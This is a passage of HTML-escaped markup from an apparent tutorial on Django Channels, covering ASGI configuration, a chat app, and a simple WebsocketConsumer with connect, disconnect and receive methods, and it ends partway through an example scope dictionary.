style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.contenttypes&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sessions&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sites&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;channels&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In our project folder an &lt;em&gt;asgi.py&lt;/em&gt; file is created when we run &lt;em&gt;django-admin startproject&lt;/em&gt;. This file is &lt;strong&gt;the &amp;ldquo;gateway&amp;rdquo; through which a server interacts with our Python code&lt;/strong&gt;. We need to modify it to tell django how to handle each protocol.&lt;/p&gt;&#xA;&lt;p&gt;My application is called &amp;ldquo;&lt;em&gt;mychannels&lt;/em&gt;&amp;rdquo; but replace the name with yours.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/asgi.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.routing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ProtocolTypeRouter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DJANGO_SETTINGS_MODULE&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mychannels.settings&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: get_asgi_application(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora mismo solo tiene el protocolo http, el que usamos normalmente&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we need to tell django that we will use an ASGI application. This step will get our application to wrap the &lt;em&gt;runserver&lt;/em&gt; command provided by django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ASGI_APPLICATION &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mychannels.asgi.application&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, we will create an application called chat.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp chat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we will add it to our installed apps.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;chat&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;channels&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This app will be in charge of managing the websocket connections that we will create.&lt;/p&gt;&#xA;&lt;h2 id=&#34;handling-ws-connections-with-a-consumer&#34;&gt;Handling ws connections with a consumer&lt;/h2&gt;&#xA;&lt;p&gt;What is a consumer? A &lt;em&gt;consumer&lt;/em&gt; is &lt;strong&gt;an abstraction of a channel in the form of a class, this class implements methods that will handle the events&lt;/strong&gt; of our users. There are also synchronous and asynchronous consumers that handle the low-level Python code for you.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-events-can-a-consumer-handle&#34;&gt;What events can a consumer handle?&lt;/h3&gt;&#xA;&lt;p&gt;Events are the actions that our users will perform, such as connecting, disconnecting or sending information to the websocket and the consumer will respond to them. In addition to these events we can create custom events (don&amp;rsquo;t worry about that now) and assign them to functions.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/websocketYConsumer-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/websocketYConsumer-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified diagram of a websocket and a consumer&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The web socket sends information with the send method, the consumer receives it with its receive method, and then sends a response with send, which the websocket will process with onmessage.&lt;/p&gt;&#xA;&lt;p&gt;There are consumers for queuing, websockets, synchronous, etc.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AsyncWebsocketConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#asyncwebsocketconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;JsonWebsocketConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#jsonwebsocketconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;AsyncJsonWebsocketConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#asyncjsonwebsocketconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;AsyncHttpConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#asynchttpconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The type of consumer will depend on the class it inherits.&lt;/p&gt;&#xA;&lt;p&gt;We will create a &lt;em&gt;consumer&lt;/em&gt; for websocket in our chat application.&lt;/p&gt;&#xA;&lt;h3 id=&#34;structure-of-a-consumer&#34;&gt;Structure of a consumer&lt;/h3&gt;&#xA;&lt;p&gt;Observe the structure of a &lt;em&gt;consumer&lt;/em&gt;, &lt;strong&gt;each method will be in charge of handling a different event.&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This one here &lt;strong&gt;inherits from &lt;em&gt;WebsocketConsumer&lt;/em&gt; which has &lt;em&gt;connect&lt;/em&gt;, &lt;em&gt;receive&lt;/em&gt; and &lt;em&gt;disconnect&lt;/em&gt;&lt;/strong&gt; events, which will be executed when starting a connection, receiving a message or closing a disconnection, respectively.&lt;/p&gt;&#xA;&lt;p&gt;In addition &lt;strong&gt;each consumer has &lt;em&gt;channel_layer&lt;/em&gt; and &lt;em&gt;channel_name&lt;/em&gt;&lt;/strong&gt; properties, which refer to the channel_layer to which it belongs and its own name, respectively.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.generic.websocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; WebsocketConsumer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;el usuario se ha conectado&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# aceptamos la conexión&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;disconnect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, close_code):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Desonectamos al usuario&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;el usuario se ha desconectado&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Receive message from WebSocket&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;receive&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, text_data):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text_data_json &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; json&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;loads(text_data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        message &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; text_data_json[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;send(text_data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;json&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dumps({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;: message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here is a summary of what the consumer we have just created does:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;connect&lt;/em&gt;, is executed when a user connects, &lt;em&gt;accept&lt;/em&gt; will accept the connection.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;disconnect&lt;/em&gt;, executes when a user disconnects, it will only print on screen&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;receive&lt;/em&gt;, executed when a websocket sends information, for this example it will only return, to the sender, the text sent as a JSON object through the &lt;em&gt;send&lt;/em&gt; method.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;scope-and-events&#34;&gt;Scope and events&lt;/h2&gt;&#xA;&lt;p&gt;Django channels divides each request to a consumer into two components: a &lt;em&gt;scope&lt;/em&gt; and a series of events.&lt;/p&gt;&#xA;&lt;p&gt;**The &lt;em&gt;scope&lt;/em&gt; stores information that contains the web request (very similar to the request object) this information allows you to identify each connection ** During the lifetime of the connection, the user interacts with it, triggering events.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;scope&lt;/em&gt; &lt;strong&gt;is available in each &lt;em&gt;consumer&lt;/em&gt; object in its &lt;em&gt;scope&lt;/em&gt; property.&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.generic.websocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; WebsocketConsumer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we print the &lt;em&gt;scope&lt;/em&gt; we will get a dictionary similar to this one&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;websocket&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;path&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;raw_path&amp;#39;&lt;/span&gt;: b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;headers&amp;#39;&lt;/span&gt;: [(b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;host&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;localhost:8000&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user-agent&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;accept&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;*/*&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;accept-language&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;accept-encoding&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;gzip, deflate&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sec-websocket-version&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;13&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;origin&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://localhost:8000&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sec-websocket-extensions&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;permessage-deflate&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sec-websocket-key&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;D/aAHncl+Hh2FQrAOEI1dA==&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;connection&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;keep-alive, Upgrade&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cookie&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;_ga=GA1.1.2040703272.1635544065; mailChimpNewsletterShown=true&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pragma&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;no-cache&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cache-control&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;no-cache&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;upgrade&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;websocket&amp;#39;&lt;/span&gt;)],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;query_string&amp;#39;&lt;/span&gt;: b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;client&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;52024&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;server&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 